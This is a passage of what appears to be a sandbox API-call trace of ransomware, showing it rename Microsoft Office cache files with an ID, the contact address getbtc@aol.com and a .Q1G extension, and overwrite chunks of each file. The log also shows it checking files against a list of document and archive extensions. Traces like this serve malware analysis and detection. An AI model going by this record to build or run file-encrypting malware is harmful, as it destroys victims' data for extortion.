(lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0042.460] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.460] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.460] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.460] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.641] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.641] ReadFile (in: hFile=0x20c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.807] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.807] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.808] ReadFile (in: hFile=0x20c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.930] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.930] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.942] SetEndOfFile (hFile=0x20c) returned 1 [0043.289] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0043.293] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.293] WriteFile (in: hFile=0x20c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.356] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.356] WriteFile (in: hFile=0x20c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.357] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.357] WriteFile (in: hFile=0x20c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.359] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0043.359] CloseHandle (hObject=0x20c) returned 1 [0045.052] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0045.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.052] lstrlenW (lpString=".doc") returned 4 [0045.053] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".docx") returned 5 [0045.053] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.053] lstrlenW (lpString=".pdf") returned 4 [0045.053] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".xls") returned 4 [0045.053] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".xlsx") returned 5 [0045.053] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.053] lstrlenW (lpString=".ppt") returned 4 [0045.053] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString=".zip") returned 4 [0045.053] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".rar") returned 4 [0045.053] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".bz2") returned 4 [0045.053] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.053] lstrlenW (lpString=".7z") returned 3 [0045.053] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString=".dbf") returned 4 [0045.053] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString=".1cd") returned 4 [0045.053] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString=".jpg") returned 4 [0045.053] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.053] lstrlenW (lpString=".doc") returned 4 [0045.053] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.053] lstrlenW (lpString=".docx") returned 5 [0045.053] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.053] lstrlenW (lpString=".pdf") returned 4 [0045.054] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString=".xls") returned 4 [0045.054] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString=".xlsx") returned 5 [0045.054] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.054] lstrlenW (lpString=".ppt") returned 4 [0045.054] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.054] lstrlenW (lpString=".zip") returned 4 [0045.054] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString=".rar") returned 4 [0045.054] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString=".bz2") returned 4 [0045.054] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.054] lstrlenW (lpString=".7z") returned 3 [0045.054] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.054] lstrlenW (lpString=".dbf") returned 4 [0045.054] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.054] lstrlenW (lpString=".1cd") returned 4 [0045.054] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.054] lstrlenW (lpString=".jpg") returned 4 [0045.054] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.054] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0045.054] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0045.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0045.055] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=3124224) returned 1 [0045.055] CloseHandle (hObject=0x20c) returned 1 [0045.055] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0045.055] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.055] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0045.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0045.055] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.055] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.056] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.059] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.060] ReadFile (in: hFile=0x20c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.068] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.068] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.068] ReadFile (in: hFile=0x20c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.082] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.083] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0045.210] SetEndOfFile (hFile=0x20c) returned 1 [0045.210] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0045.210] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.210] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.694] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.695] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.700] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.700] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.703] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0045.703] CloseHandle (hObject=0x20c) returned 1 [0046.449] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0046.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.449] lstrlenW (lpString=".doc") returned 4 [0046.449] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.449] lstrlenW (lpString=".docx") returned 5 [0046.449] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.449] lstrlenW (lpString=".pdf") returned 4 [0046.449] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.449] lstrlenW (lpString=".xls") returned 4 [0046.449] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.449] lstrlenW (lpString=".xlsx") returned 5 [0046.449] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.449] lstrlenW (lpString=".ppt") returned 4 [0046.450] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".zip") returned 4 [0046.450] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString=".rar") returned 4 [0046.450] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString=".bz2") returned 4 [0046.450] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.450] lstrlenW (lpString=".7z") returned 3 [0046.450] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".dbf") returned 4 [0046.450] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".1cd") returned 4 [0046.450] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".jpg") returned 4 [0046.450] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".doc") returned 4 [0046.450] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.450] lstrlenW (lpString=".docx") returned 5 [0046.450] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.450] lstrlenW (lpString=".pdf") returned 4 [0046.450] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString=".xls") returned 4 [0046.450] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString=".xlsx") returned 5 [0046.450] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.450] lstrlenW (lpString=".ppt") returned 4 [0046.450] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.450] lstrlenW (lpString=".zip") returned 4 [0046.451] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.451] lstrlenW (lpString=".rar") returned 4 [0046.451] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.451] lstrlenW (lpString=".bz2") returned 4 [0046.451] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.451] lstrlenW (lpString=".7z") returned 3 [0046.451] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.451] lstrlenW (lpString=".dbf") returned 4 [0046.451] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.451] lstrlenW (lpString=".1cd") returned 4 [0046.451] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0046.451] lstrlenW (lpString=".jpg") returned 4 [0046.451] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.451] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0046.451] lstrlenW (lpString="OnoteLR.cab") returned 11 [0046.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.158] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=17456632) returned 1 [0047.158] CloseHandle (hObject=0x188) returned 1 [0047.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0047.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.158] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.159] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.159] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.159] ReadFile (in: hFile=0x188, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.168] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.168] ReadFile (in: hFile=0x188, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.173] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.173] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.173] ReadFile (in: hFile=0x188, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.195] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.195] WriteFile (in: hFile=0x188, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.468] SetEndOfFile (hFile=0x188) returned 1 [0047.469] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0047.469] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.469] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.469] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.469] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.470] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.470] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0047.472] CloseHandle (hObject=0x188) returned 1 [0047.472] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 